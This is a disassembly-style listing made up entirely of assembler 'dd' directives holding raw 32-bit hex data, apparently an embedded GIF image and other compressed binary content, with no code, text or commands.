		dd 0AF25EDBAh, 5EEBE575h, 0BA175AEFh, 72EFC5F7h, 498AB903h
		dd 9C24D668h, 0DA3FC66Dh, 146D0E21h, 4607C0D8h,	0AC158270h
		dd 0D82C00E0h, 0B07921C0h, 60520636h, 0C2583708h, 84481612h
		dd 0CE18C35h, 1EC2D827h, 2185B046h, 4712614Ch, 9E24C2B8h
		dd 0FC3383F0h, 0D8B70761h, 4710DAC5h, 8CD1FE3Bh, 65C2DFFEh
		dd 47C15C97h, 8B01261Eh, 0C7C362E4h, 9072063Fh,	0E41C85h
		dd 0D8C8B908h, 8F8FB238h, 271F902Ch, 4E4AC919h,	2C8192F2h
		dd 792B26E5h, 72AE46CAh, 0E59CA996h, 0C9793B2Ah, 93F2BE51h
		dd 24656CC5h, 67C87983h, 38FF346h, 0F8480A69h, 98F424B7h
		dd 0C0432C2h, 0D9D5730Eh, 469677CEh, 0E7ACEE00h, 2059F164h
		dd 9F16467Dh, 41681CF3h, 865959FBh, 4B2F406h, 2F4668ADh
		dd 0E8ED11Ah, 1CFFA274h, 1A1341E9h, 33C697CFh, 8CBC6438h
		dd 0A7B1E31Ah, 5A6E2572h, 480791F2h, 0DF1D8298h, 55AA46A0h
		dd 0B7566ABDh, 0D31D59Ah, 2D63AA80h, 0BACF54EBh, 35B6AED6h
		dd 6B4D7235h, 0D57AE35Dh, 0ADF5EEBBh, 606B3D79h, 0BFD89ADBh
		dd 91B27616h, 0E7616C1Dh, 86AED81Ah, 0C1BFABB6h, 0C224520Eh
		dd 0ACE124CDh, 0DE1D99Ch, 0DBDB7563h, 0B87706DFh, 71001DC5h
		dd 0DDDC8B1Bh, 0CDB9F73Eh, 0FE766EBDh, 0E91A3BABh, 0D1BC36F6h
		dd 0CB586E0Dh, 96E1DDFBh, 6DEDBBB7h, 9BF77BEFh,	7806E5DDh
		dd 0DE58DC0h, 0D383FC76h, 8DCB3D6Eh, 3C8F62B7h,	0EB14222Ch
		dd 2433C6E8h, 578A713Eh, 0F15E2DCh, 9E25C5C0h, 9C7389F1h
		dd 0F8BF1BE3h, 0F2219FC7h, 0E45C7490h, 0C5A8C723h, 90724E3Fh
		dd 1DE55C8Fh, 5DCA78DFh, 6081714Eh, 672DE5BCh, 0BE75C6B9h
		dd 0C3AC6EF3h, 675ED613h, 8C70A63Eh, 1B43A47Fh,	0D27A430Dh
		dd 868015E7h, 4E5E9D31h, 0A5D2FA77h, 37A8F53Eh,	82F5EA03h
		dd 55EF463Ah, 0BD457B75h, 3AA121EAh, 0F56EA7D6h, 0ECDD93B1h
		dd 0DA7A5765h, 748DA5E9h, 9D18E3FCh, 0B5C28B76h, 7444D412h
		dd 80DB1D02h, 0BEF5DE46h, 9DF7BE77h, 7BF001EFh,	0F7AF01DEh
		dd 0F05E0FC1h, 343C377Eh, 0BFF8BF0Ch, 87F03E33h, 0BE43C87h
		dd 13C5788Fh, 177DF29Eh, 0AF2BE588h, 0FE27C4F9h, 0FBE79FF1h
		dd 9B1D036h, 44FE9FA0h,	0DF40C4E8h, 7AB19435h, 0F5DEB7D6h
		dd 0EC3D87AFh, 0D5FB1003h, 0B6F59ECFh, 75ED7DB7h, 2BDCFBBFh
		dd 0FFADF703h, 2F7DED3Dh, 3EF7D9FCh, 0FE37C1F7h, 7CBF87EEh
		dd 0F85F03DEh, 32BE87CFh, 623D31AEh, 9F975DC0h,	0B75CCEF6h
		dd 6C428792h, 7A01C22h,	2F3DDEFFh, 3E6FF27Eh, 3C97E5F2h
		dd 0FE3FCBFAh, 0FD3E6BBFh, 0E3BF27E6h, 0C9F81FDBh, 0E7FEBFC3h
		dd 0C3F83F0Fh, 5C4289B1h, 98FA22BBh, 703D402h, 285F065h
		dd 4403C034h, 0C05404C0h, 4800C05h, 785F406Ch, 0C07C02C0h
		dd 9408408h, 3C09C034h,	40BC0C40h, 0E405C0Bh, 0F40AC064h
		dd 40D41040h, 11C08C0Eh, 0EC0CC114h, 0C15414C0h, 70065403h
		dd 43EA87F8h, 3EC0FA38h, 0ACBED0F3h, 183B0778h,	0BBC04D84h
		dd 0F63F03FCh, 0B3CCBC8Bh, 4213F5BFh, 0CDBFBBC1h, 73CC3CEBh
		dd 422C203Fh, 20C23BF5h, 2BF3BCE4h, 0C1E41F42h,	4E86DBBEh
		dd 9403FEE8h, 18299E7Ah, 6D07F86h, 2F85D862h, 1430C304h
		dd 0C32431C3h, 30881432h, 4C30000Ch, 0C2FC3543h, 37C36C35h
		dd 0DC374384h, 0C3743585h, 34439C33h, 2439431Ch, 43AC3943h
		dd 39C3843Ah, 0C438C3F4h, 436C3BC3h, 43C32C3Dh,	242FC444h
		dd 87F86D06h, 5E3EB061h, 0AA772E09h, 0C1B8AC41h, 29C1D03Eh
		dd 54293D04h, 0C25BCCBCh, 0F33F7090h, 0C50081Bh, 0C51BC245h
		dd 0C04223F9h, 0F41F3FABh, 3FC44F3Ch, 20451456h, 0FC4C4274h
		dd 84D86DBCh, 275C2Bh, 5C2EC2DCh, 0C5DC5DC1h, 5F404090h
		dd 1409C10Ch, 40DC1388h, 12C61C09h, 0AC05081Ch,	0C0CC1437h
		dd 64C0F463h, 3406C614h, 46946441h, 446B45Eh, 7C46C45Ch
		dd 448A7644h, 0ABC49A88h, 0E8400778h, 87084F03h, 73C5906Ch
		dd 5474C744h, 0C76475C7h, 6CC29C76h, 0D83EBFD8h, 0C5C093A6h
		dd 6486B07Eh, 0D47CC6B8h, 0C7E47DC7h, 7E47F47Eh, 7FC0A4FEh
		dd 0B064C054h, 0C4707E86h, 0B90ADC18h, 30798ACBh, 84803E84h
		dd 6806305Ch, 0A4898670h, 0C8B48AC8h, 8CC8C48Bh, 0E48DC8D4h
		dd 0C8F48EC8h, 90C9048Fh, 491C914h, 86306849h, 3E84485Ch
		dd 0FC7A24D0h, 7A06282h, 8106D06Fh, 0A499C993h,	0C9B49AC9h
		dd 9CC9C49Bh, 0D49DB78Ch, 6D38149h, 6287A06Fh, 0EA9E25C0h
		dd 929A9F46h, 4E07C0B5h, 0B83283A0h, 6005604h, 0A8864063h
		dd 0A4A9CA94h, 0CAB4AACAh, 630644ABh, 0E4ADCAD0h, 0CAF4AECAh
		dd 0A84B04AFh, 24B1CAC4h, 0CB34B2CBh, 0B4CB44B3h, 4AD4ABCh
		dd 84B85606h, 2B83A032h, 784547A2h, 874A5105h, 0BCCBC4BBh
		dd 0E4BDCBD4h, 0CBF4BECBh, 0C0CC04BFh, 24C1CC14h, 0CC1CC2CCh
		dd 0C4CC3090h, 7A51074Ch
		dd 0C8404505h, 0F7419928h, 80AB46F8h, 83702C9Fh, 52049836h
		dd 0E4CD8568h, 0CCF4CECCh, 0D0CD04CFh, 20574CDCh, 0CD34D2CDh
		dd 0FECD44D3h, 574D54D4h, 74D6CD10h, 0CD84D7CDh, 0D9CD94D8h
		dd 24D24D14h, 3684985h,	902B037h, 685E47A2h, 7286D02h
		dd 754E1075h, 34E28760h, 0CE44E3CEh, 0E5CE54E4h, 74E5A44Ch
		dd 4E54E7CEh, 0E9CE8244h, 94E4CEA4h, 4EC4EACEh,	754E1CECh
		dd 686D0728h, 0CC785E02h, 0FB4C88E5h, 80AACC98h, 278361Dh
		dd 4483E837h, 74F68458h, 0CF84F7CFh, 0F9CF94F8h, 0B4FACFA4h
		dd 0CFC4FBCFh, 0FDCFD4FCh, 0D4FECFE4h, 3F044CFh, 36027837h
		dd 0A0939E68h, 2F87687h, 7B07603Bh, 0C87C87C0h,	0D0807C07h
		dd 9D09508h, 0B507508Dh, 0D0C50BD0h, 0D87E50Bh,	0F50ED0E5h
		dd 50CD0ED0h, 1094CD07h, 0FD0BD125h, 0D1451287h, 15D15514h
		dd 7516D165h, 87607B51h, 7682F83Ch, 2B4F1E70h, 0CA3B504Ah
		dd 510780B8h, 410478h, 0D2051F83h, 1FD21520h, 352182BDh
		dd 0D24523D2h, 25D25524h, 7526D265h, 528527D2h,	52FE2D27h
		dd 47841528h, 41570510h, 9C928188h, 2E854059h, 52FD2F5h
		dd 0D31530D3h, 32D32531h, 4533D335h, 0D35534D3h, 36D36535h
		dd 5059D375h, 27085103h, 490D64A2h, 0B8B5350Ch,	3584B18h
		dd 3ED3E031h, 153FD3F5h, 0D4002A03h, 42D42541h,	4543D435h
		dd 0D45544D4h, 46D46545h, 6541545Dh, 84B035D4h,	9351A99Eh
		dd 29A15138h, 82182182h, 0A954E1AAh, 54FD4D1h, 0D51550D5h
		dd 52D52551h, 454ED535h, 9A6554D5h, 7E0689ABh, 0F4F19898h
		dd 125D3B8Fh, 7287D07Ah, 3B1786E0h, 86B86AB0h, 5ED5E55Dh
		dd 55FD5F5h, 0D61560D6h, 62D62561h, 4563D635h, 565564D6h
		dd 356355Dh, 0D87286E3h, 957D4A87h, 6586D1EAh, 0B8638620h
		dd 0D6D063D6h, 6ED6E56Dh, 64D6D5h, 0D71570D7h, 72D72571h
		dd 2864D735h, 0D7557486h, 75576575h, 85778625h,	579578D7h
		dd 7AD6F578h, 0C18556EDh, 0BB517ED7h, 981DFE7Dh, 7706D17Ch
		dd 81AD8A60h, 0D59103D5h, 9B87A0B4h, 5584D842h,	18915B58h
		dd 4C0B31D6h, 9588D859h, 14F589D8h, 81130956h, 2BECD1BDh
		dd 0AB4925D8h, 8FD8F58Eh, 1061335h, 8F613ED9h, 8D907D81h
		dd 5591B84Dh, 271595D9h, 3C596591h, 0A58CD929h,	92E59441h
		dd 2CD9B59Ah, 0C90B5935h, 0D9E59BD1h, 9EC8559Eh, 0F9285A05h
		dd 5A25A0D9h, 0A2DA1924h, 391EDA45h, 5A65A4DAh,	0A6DA5918h
		dd 7913DA85h, 5AA5A8DAh, 0AADA990Dh, 0CD915AC5h, 0D9A10F59h
		dd 95AF5ACh, 502D1201h,	7A07C82h, 0B3DAFD87h, 0A0781055h
		dd 2507C87h, 0D6AB882Dh, 702D0388h, 0AA35B202h,	0BBDBB597h
		dd 0D5BCDBC5h, 5BE5BDDBh, 0B5878D90h, 882D0275h, 38AE103h
		dd 7E027032h, 45695B20h, 1025C5DBh, 7E07C961h, 18320270h
		dd 838A1A5Ch, 750D8A4h,	0D5CC9F35h, 0DCE5CDDCh,	0CFDCF5CEh
		dd 15D0DD05h, 0DD25D1DDh, 0DD35D2FEh, 0D4DD45D3h, 0DD071F0Dh
		dd 5C98A0D0h, 275C35CAh, 0A0250A50h, 0DDB5DADDh, 0DCDDC5DBh
		dd 0E5DDDDD5h, 0DDF5DEDDh, 0E0DE05DFh, 25E1DE15h, 0DE35E2DEh
		dd 0E4DE45E3h, 65E5DE55h, 0DE75E6DEh, 0E8DE85E7h, 8DD95E05h
		dd 5C25D7DCh, 0EC82D034h, 0E5EDDEA5h, 0DEF5EEDEh, 0F0DF05EFh
		dd 25F1DF15h, 0DF35F2DFh, 0F4DF45F3h, 65F5DF55h, 0DF75F6DFh
		dd 0F8DF85F7h, 0A5F9DF95h, 0DFB5FADFh, 0B75ECDF3h, 0E2E15EB5h
		dd 5CADCA83h, 0E00034h,	2601E016h, 0E03602E0h, 4E04603h
		dd 6605E056h, 0E07606E0h, 8E08607h, 0A609E096h,	0E0B60AE0h
		dd 0CE0C60Bh, 0E60DE0D6h, 60660EE0h, 10DFE5FFh,	2611E116h
		dd 0E13612E1h, 14E14613h, 6615E156h, 0E17616E1h, 18E18617h
		dd 0A619E196h, 0E1B61AE1h, 1CE1C61Bh, 0E61DE1D6h, 0E1F61EE1h
		dd 20E2061Fh, 2621E216h, 0E23622E2h, 24E24623h,	6625E256h
		dd 397626E2h, 0E28627E2h, 29E29628h, 0B62AE2A6h, 0E2C62BE2h
		dd 2DE2D62Ch, 0F62EE2E6h, 0E3062FE2h, 31E31630h, 3632E326h
		dd 0E34633E3h, 35E35634h, 7636E366h, 0E38637E3h, 808A1E38h
		dd 3B0000h, 38464947h, 21D6137h, 0E700A4h, 10000h, 401h
		dd 7000805h, 0C08020Ah,	60E0B04h, 0E070F0Ch, 110F0910h
		dd 0C12100Ah, 130E1412h, 1B150D15h, 0C1C160Fh, 1B0E1F1Ah
		dd 221D0F20h, 14241F12h, 22152621h, 2C271927h, 1C312816h
		dd 2C1A2E29h, 382E1D35h, 213A301Eh, 34223C32h, 4238273Eh
		dd 24443B29h, 4021473Eh, 5144254Eh, 2B534627h, 4C2E574Ah
		dd 5B4E2F5Ah, 37605334h, 57346355h, 6D5A366Ah, 35705D39h
		dd 603D7362h, 76643773h, 3C786639h, 6B3E7B69h, 7E6C3F7Dh
		dd 43806E41h, 72458270h, 8B744284h, 44867447h, 78468E76h
		dd 89725F90h, 5A897459h, 7D4B8A75h, 8F7A5F94h, 6297804Eh
		dd 8351927Dh, 9C84529Ah, 33958065h, 8654CA8Ah, 91816A9Eh
		dd 5597806Dh, 826C9F87h, 677C9093h, 3FA18957h, 8758BC8Fh
		dd 0A38B59CBh, 54B8913Eh, 8670AA8Ch, 97857697h,	54A58D5Bh
		dd 8872A68Fh, 0DB8A5699h, 73AD8F58h, 92509A89h,	0AE9059AEh
		dd 41DD8C58h, 9553FF91h, 0B2945DB1h, 7EB39755h,	8F789F8Dh
		dd 0A79468A0h, 52FF9646h, 9957FE93h, 0B69A58B5h, 7BBC995Bh
		dd 9C5BB093h, 0F69854B9h, 78A6957Eh, 9E5DA797h,	0A7967FBAh
		dd 5EA89586h, 9A59BC9Fh, 0A99881FFh, 60FF9E50h,	9C5BBEA1h
		dd 0AA9982FFh, 69C8997Ch, 9C66E89Ch, 0BAA270FCh, 8DFFA160h
		dd 9D91AF9Ch, 0D7A27FAAh, 97FEA46Dh, 0A965B0A2h, 0FFA76FFFh
		dd 66C9A97Bh, 0AA70FFAAh, 0B3A69AFDh, 75C1AF7Ah, 0ADA1FFAEh
		dd 0CDAD9EBAh, 98FFB280h, 0AEA3CEB0h, 0B7AFA7C8h, 6FDCB392h
		dd 0B78FFEBAh, 0DDB493C5h, 8BDEB594h, 0B3A8FEB5h, 0FFB984C1h
		dd 96FEBC8Eh, 0BBB2FEBAh, 0FFBF91C3h, 0B6C5BCB4h, 0C1A5C7BFh
		dd 0FEC29AE6h, 0A2FFC49Dh, 0C6A4F7C7h, 0F7C6A9FDh, 0BECDC5BDh
		dd 0C7BFCFC6h, 0FFCAA8D0h, 0ADFDCE9Fh, 0CDA7FCCAh, 0D2CAC1FDh
		dd 0A9FECCB0h, 0CFB2FFCFh, 0FCD0B8FFh, 0BAD8D0C8h, 0D5B4FFD2h
		dd 0FFD6B6FFh, 0C2DDD5CCh, 0D8BCFCD5h, 0F8DBBAFDh, 0CFFFDCB7h
		dd 0DAC2E0D8h, 0DBD9D4F9h, 0D2FFDAC6h, 0DACBE2DAh, 0E4DBD3FCh
		dd 0C6E5DCD4h, 0DDD8FDDEh, 0F9E1C5E0h, 0DAE8DFD7h, 0E3C7E2DFh
		dd 0E3E0DBFBh, 0D8FBE2CEh, 0E2D9E9E1h, 0F8E3D4EAh, 0CBE5E3DDh
		dd 0E4DFFFE7h, 0FAE7CFE6h, 0D6FAE4DCh, 0E5E0FAE6h, 0FBE7D7E8h
		dd 0EAE9E6E1h, 0E5E1E3E4h, 0DDE4EDF5h, 0E2F0E7DFh, 0E6E2EAE7h
		dd 0F6E8DCF6h, 0E3EBE8E3h, 0E9E4F7E7h, 0F8E8E4ECh, 0E0EDEAE5h
		dd 0ECE6FAECh, 0F5EBEAEEh, 0DCEFEDE7h, 0EEE5FDF0h, 0F2EFEAF7h
		dd 0E4F3F0EBh, 0F3DFFFF1h, 0FAF1E9FFh, 0EDF4F1ECh, 0F1F0F5F2h
		dd 0F6F3EEFBh, 0F1F7F5EFh, 0F6F9F9F7h, 0FBF8F3FBh, 0F7FCF9F4h
		dd 0F8FAF6F9h, 0FDFAF5FCh, 0F6F7F8FEh, 0FBF9FEFBh, 0F9FCFAF8h
		dd 0FBFFFDF7h, 0FCFEFAFDh, 0FFFEF8FFh, 0FCFBFDFFh, 0FFFEFBFFh
		dd 2CFCh, 21D0000h, 80000A4h, 87F00FEh,	20B0481Ch, 9C3F2741h
		dd 0B0C2C138h, 5C8643A1h, 489C4A22h, 8B996231h,	0DC6A3318h
		dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
		dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5162730Fh, 0CFA0D098h
		dd 2A79039Fh, 61B0A85Ch, 905C8851h, 512A5CDEh, 50A7D3A6h
		dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30CA5C8h, 1A915FAFh
		dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
		dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
		dd 0BF7DC3E1h, 91B3949Eh, 8E395631h, 38C6469Dh,	0BDE42AB9h
		dd 0D1972B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E58B0E2h
		dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
		dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
		dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
		dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
		dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
		dd 341CA028h, 806060h, 3406408h, 10043180h, 18016DC3h
		dd 116D8257h, 85E1680Eh, 21A86618h, 704C2C7Fh, 6C6E18C3h
		dd 2A034311h, 681C7FCh,	5C68401Ch, 0B8B19085h, 0C6308BE1h
		dd 0C98CE328h, 6DC57029h, 0DFE0203Fh, 71540719h, 0AE1419C0h
		dd 448D2418h, 91E46916h, 43D00A03h, 20360E6Fh, 0C8360440h
		dd 0B604C3F1h, 240F125h, 44C1CA37h, 56405200h, 0A1900245h
		dd 40080F0h, 1CA5D068h,	8060CC01h, 0D59004h, 0CC0F0081h
		dd 180C9BA0h, 0C8181C8h, 26E1CA43h, 0A8B6729Ch,	40104A6h
		dd 488BA15Ah, 0A1E86A16h, 2B79E88h, 91B83102h, 0C404005Bh
		dd 90D86B0h, 1301192Ch,	8220A5B5h, 51CA7806h, 40260182h
		dd 72068316h, 1241509Ch, 0C221606Eh, 30722D05h,	72FE0FC6h
		dd 0D0080ECh, 0C090DC6Bh, 0C071B90Eh, 742B1C82h, 0B4ACA430h
		dd 9A2B8ADAh, 22EAC2AEh, 0AB2689A1h, 0F6CCB2ECh, 90102D6h
		dd 0D82A078h, 4298B64Bh, 206C2D6Dh, 42130A47h, 250DC186h
		dd 3990090h, 99003830h,	6036A108h, 8676D44h, 90AC22D0h
		dd 6D42D069h, 0DB7A902Fh, 216C061Ah, 0AC061607h, 0F2855B51h
		dd 6F6BD2h, 6799A2F0h, 0AC2708B3h, 0EC6BA170h, 70842C0h
		dd 8B42E004h, 85B1CA59h, 445D8Eh, 4C0819D9h, 1A0F6ACAh
		dd 5A4B03Fh, 86464037h,	0F08C340Dh, 4240A0C0h, 0B5174076h
		dd 6E007175h, 1B505433h, 2C1A7D05h, 0CF31CBC7h,	3ACB668Ch
		dd 0D0F0B8B7h, 231D1744h, 0D03C2619h, 0B990A3A2h, 0B006E151h
		dd 176A40D6h, 0C211C806h, 0E0829E09h, 0C4640186h, 1D04006Ah
		dd 0A0C3F0A0h, 282A0A14h, 1D981D6Eh, 0A342AF80h, 0FFD936A9h
		dd 0DCF46C1Eh, 5F9DD774h, 0CC28317h, 0A16FE19h,	8034640h
		dd 0ABB07872h, 5026EA1Ch, 0FC069685h, 0F1CB4A0h, 0DC3310C0h
		dd 0B7A02990h, 801C6B6Eh, 1C576D45h, 92CEAFE0h,	0B2307A3Fh
		dd 0FA2E8776h, 501DE0E8h, 2C636430h, 0B50BC01Eh, 0D341E0A9h
		dd 4010EC0Dh, 40781C96h, 68136D41h, 0B5CFFAF0h,	1CB900C1h
		dd 0D90C4C1Ch, 46DC100Fh, 61B5BD83h, 0C1CEA0B0h, 0DB7C46D7h
		dd 0FA4D07D0h, 4F57D4F4h, 0A80B0A5Ch, 671AC550h, 0D41B0F4h
		dd 0C370222Dh, 902C351Ah, 28236D44h, 19871A0h, 0AFEC894h
		dd 42205590h, 10B86317h, 243DF471h, 120FEB40h, 79B5F08h
		dd 0C0DB20Fh, 0FCA15776h, 0D17FAFEDh, 0A210C033h, 3A06BD60h
		dd 0C3C681F0h, 60040200h, 0B0C0C00h, 4048264Dh,	0BA702C00h
		dd 5C400424h, 81D990h, 857726h,	170A2B54h, 2A008010h, 11DF8330h
		dd 0B80B4DE8h, 0E0D66D96h, 66D5CD80h, 17F00D0Dh, 4300688Bh
		dd 4EF4A19h, 1E8C2AFEh,	0C4488704h, 320E81EAh, 115D3C1Eh
		dd 26C4C897h, 6788E7EEh, 9C07C130h, 5A2AC548h, 5C473E11h
		dd 0C8AED021h, 0F17A2EC5h, 0A30C608Bh, 0C648C718h, 8CF19A32h
		dd 1AA34C68h, 0AF15E3C9h, 708DE764h, 0E71CA38Ch, 0DA3AC748h
		dd 0CC788EF1h, 0C8F71EA3h, 0A7623EC7h, 0CAF1D58Dh, 0C8428059h
		dd 90F21A42h, 22A44C88h, 46C8C917h, 9091F23Ah, 2724A48Ch
		dd 5A4AC949h, 0CC9892F2h, 391526A4h, 0A744AE94h, 4818580Ch
		dd 0CA49460Fh, 94F29A52h, 2AA54CA8h, 56CAC957h,	0B095F2BAh
		dd 672CA58Ch, 0DA5ACB49h, 0CCB896F2h, 0C9772EA5h, 0F2FA5ECBh
		dd 0E584C097h, 9C80B040h, 7E578E4h, 3E47E0FCh, 668F61F2h
		dd 0D099F33Ah, 0A734A68Ch, 5A6ACD49h, 0CCD89AF3h, 0C9B736A6h
		dd 0F37A6ECDh, 0A70CE09Bh, 0CE49C738h, 9CF39A72h, 3AA74CE8h
		dd 64CCB9B1h, 0C693C0FEh, 0E932A50Ch, 0D8788F41h, 0FEF89EF3h
		dd 0F73EA7CCh, 0FA7ECFC9h, 0D009FF3h, 4A0740A8h, 0F41A82D0h
		dd 0A84D08A0h, 0D0CA1742h, 0A1F43A86h, 44A88D10h, 7A501A27h
		dd 3F1F83E6h, 0CA72A620h, 0D47C9080h, 0D201E13h, 4A4748A9h
		dd 0F49A92D2h, 0A94D28A4h, 0D2CA574Ah, 0A5F4BA96h, 4CA98D30h
		dd 9AD34A67h, 38A6F4DAh, 774EA9CDh, 0B69ED3CAh,	0C8F41E34h
		dd 598A4247h, 0A1382E1Ch, 7851E07h, 0D4CA9745h,	0A9F53AA6h
		dd 54AA8D50h, 0AAD54AA7h, 0F0A0B55Ah, 9C0F6A08h, 70E505C0h
		dd 0B03D07E1h, 7A943C47h, 0F59AB2D5h, 0AB4D68ACh, 0D6CAD75Ah
		dd 0A9540EB6h, 3BC1E8F6h, 0B1560ABDh, 78ADD592h, 0F75EABCDh
		dd 0FABED7CAh, 9570AA75h, 0F393576Bh, 0F58EB0D5h, 0AC4D88AFh
		dd 0D8CB1762h, 0B035A2C6h, 5D6C2573h, 0CAD8EB0Fh, 98B2F65Ah
		dd 21666CCDh, 14E3583Bh, 0D9AAED6h, 4B4768ADh, 954AD2DAh
		dd 0EC3574B3h, 0DACB4D5Dh, 0B5F6BAD6h, 6CFE3DB0h, 0D9EB235Ch
		dd 0B636AEC9h, 6EADCDB8h, 0D4579B77h, 0BCB5564Ah, 8770AE0Dh
		dd 0FAA75C4Bh, 2DC0B6B6h, 0CB9772AEh, 0F3FAE6DCh, 0ADB545B8h
		dd 0DD4BA773h, 0BA16F2EAh, 652CF9C4h, 0EEDDCBADh, 0F1B3777Ah
		dd 0A3676D98h, 9AEFDC9Bh, 0DDE8BCF7h, 0A383762Bh, 0F7A6DBDDh
		dd 0EF8DF0BDh, 0D82BC369h, 0BE5682D4h, 7EAFCDF8h, 0E05EBA21h
		dd 0BF77B4h, 380B00Eh, 0FCDFDFDAh, 4E08C077h, 0EC0B80B0h
		dd 0F82B039Bh, 2F7E10C1h, 0E0E37B83h, 0C2F85B08h, 6EB09DD5h
		dd 0EE18C2Ah, 1AB8787Bh, 3F870DCEh, 0BF12E24Ch,	19B8C436h
		dd 0CC5789B1h, 0F8A2CD62h, 67EE2A36h, 366B5A00h, 0C6D8CE7Dh
		dd 8DDB7D0Dh, 836359F1h, 12C7F8DEh, 856631DDh, 0B72250ECh
		dd 0B62FA978h, 39F78C4Dh, 566B2363h, 0B22646C8h, 0E51A0F93h
		dd 0C78A067Bh, 96720509h, 29D52C99h, 5CCBD3FFh,	8F982B3Eh
		dd 0D724CFCCh, 1E38C966h, 0A165FE73h, 0A878E61Ch, 0B655A079h
		dd 2C7D9C67h, 0F93A8567h, 73C50FCDh, 66ECF53Eh,	0CC99F2B4h
		dd 6FEFADB2h, 26D01BEFh, 6ECAF963h, 0B18E1416h,	0F744689Ch
		dd 7675CAD9h, 5D1595B4h, 19F74867h, 0F45E3DD1h,	0E8DD2D9Eh
		dd 0D2F9B31Dh, 9BF45E52h, 4AE91D3Fh, 72D29957h,	23A674A6h
		dd 4355E92Dh, 0FE4DD51Ah, 0DD67AAB1h, 0BACB5A6Ah, 31B686D6h
		dd 0E8FD1BAAh, 0D63A5B4Eh, 0AEB5B650h, 4AEC0D1Dh, 0A6D19A4Fh
		dd 53A27586h, 9AE6692Dh, 46683219h, 8D3DA7B6h, 0FA97636Ch
		dd 0B66E8CD7h, 6C9CB5B5h, 0DBDAF74Eh, 0B636A69Bh, 51677D7Fh
		dd 0E8D5FA17h, 0C594747Eh, 0B33BE9FDh, 26A9DABBh, 0DDB9B7B7h
		dd 0DBCF6CEEh, 77AEDAD8h, 65ADBFBCh, 0DADB6F62h, 0B5F65EF7h
		dd 5CF03D8Fh, 0CEDFFB77h, 0A21CB67Dh, 237169CDh, 0D708DA5Ch
		dd 0CDABA6B7h, 0DA6F7E6Dh, 0B756A49Fh, 36FC99BDh, 0DAF8CB70h
		dd 0C5B806FDh, 0EE5E47FEh, 0E25C8B71h, 0C9780F24h, 8BF1EE53h
		dd 28DC7C67h, 35CAF96Fh, 87906A6Eh, 867FE339h, 0FE19C2ADh
		dd 7B339A6Dh, 0F88EF8D7h, 0F17E39C6h, 0D57A4F9Ah, 0D0B9C66Ah
		dd 8C713CDBh, 73E69CDBh, 55D4B9F6h, 5789B6AEh, 0EF1DE25Ch
		dd 3EABBE39h, 9D5F61F2h, 787EAAC7h, 0F63CA7B3h,	0EAFC87A1h
		dd 0D03A3F61h, 0E973BB95h, 0FC75402h, 0A5C3B8FFh, 2FA2715Eh
		dd 2F2DE45Dh, 0DE8DCB3Ah, 3DCB7874h, 0FBD721DDh, 77BEB5D7h
		dd 0EB1CA27Eh
		dd 0D3386F4Ch, 5EF83E57h, 0FEE01E07h, 0A9DCF196h, 3B74F94Dh
		dd 6DD4EE3Eh, 3E9D797Bh, 5B87C274h, 78FF9DE5h, 749CBDE1h
		dd 0EF5DDF8Ah, 0E0353F7Dh, 937A0EF9h, 0ADF3DE9Bh, 15CCFBBFh
		dd 8FDAF56Fh, 2F25F59Eh, 0CE0DD77Dh, 7E63BA7Bh,	0B4279ABAh
		dd 701F3FE8h, 0D31DEFE2h, 0E37B3786h, 0D8FC9F61h, 7BF13F23h
		dd 0DFBCF97Eh, 0E3C3F5ADh, 0C7D2F23Dh, 0FE27EBFEh, 6BE57B2Fh
		dd 9F02F9FAh, 4F4FEE36h, 0DCE3C575h, 0BAEFE0E1h, 5B4BE9B3h
		dd 0F9BF0AF2h, 0F0F9FFC6h, 0A9F47FE5h, 53D71D83h, 0D5EEB577h
		dd 0E3FB7F7Eh, 6DAFA3Dh, 7517D46Eh, 656C46D3h, 0C6AE6BB7h
		dd 6BE7736Ah, 0E7F46CCh, 0E7F56C28h, 6577BC6Eh,	0D2750805h
		dd 0A6F96B06h, 6A17406Ch, 90814714h, 15CB8087h,	5505DB7Ch
		dd 41680739h, 58255A16h, 6167F364h, 4D5EE822h, 98268295h
		dd 7D259667h, 1E7A4551h, 83582D6h, 82A83183h, 5D76B833h
		dd 861D7766h, 84383B83h, 4256D844h, 98488458h, 84755684h
		dd 4E84D84Ah, 0F84C54C8h, 85385284h, 5485150Ch,	28588578h
		dd 85985650h, 0F885D85Ch, 185E85B4h, 86085886h,	4F865862h
		dd 98668648h, 86884886h, 3186D86Ah, 186E86C8h, 87062D87h
		dd 24875872h, 98768746h, 87861787h, 0A87D87Ah, 187E87C6h
		dd 88060188h, 0F8885882h, 86FE8845h, 85E98898h,	88D88A88h
		dd 8E88C5DEh, 0C7998918h, 5D95E37Eh, 9889276Eh,	98905F18h
		dd 62089C89h, 235F6894h, 0C8A289D8h, 8A389B5Dh,	9F73A8A6h
		dd 78A16838h, 76C8AC8Ah, 0EF5C88A9h, 28B28AD7h,	8B38A55Ch
		dd 0B55988B6h, 0D8BA8B78h, 8BB8B958h, 0BD5888BEh, 0A8C28BF8h
		dd 7EE8AF5Eh, 0C88C38ABh, 68C58B88h, 8C979B89h,	0C15968CEh
		dd 58D28CF8h, 8D38D156h, 0CB5808D6h, 78975EC8h,	57D8DC8Dh
		dd 0E08DD8D5h, 18DF5148h, 50F8E48Eh, 0E88E58E3h, 98E750A8h
		dd 8ED53E50h, 0F08EF8EEh, 156F5358h, 8F58F48Fh,	7A8F48F6h
		dd 65588EB5h, 8FD0FF4Fh, 8FF8FEh, 39029019h, 90590490h
		dd 8907906h, 0B90A9099h, 90D90C90h, 1F8FD90Eh, 0C4F65CF5h
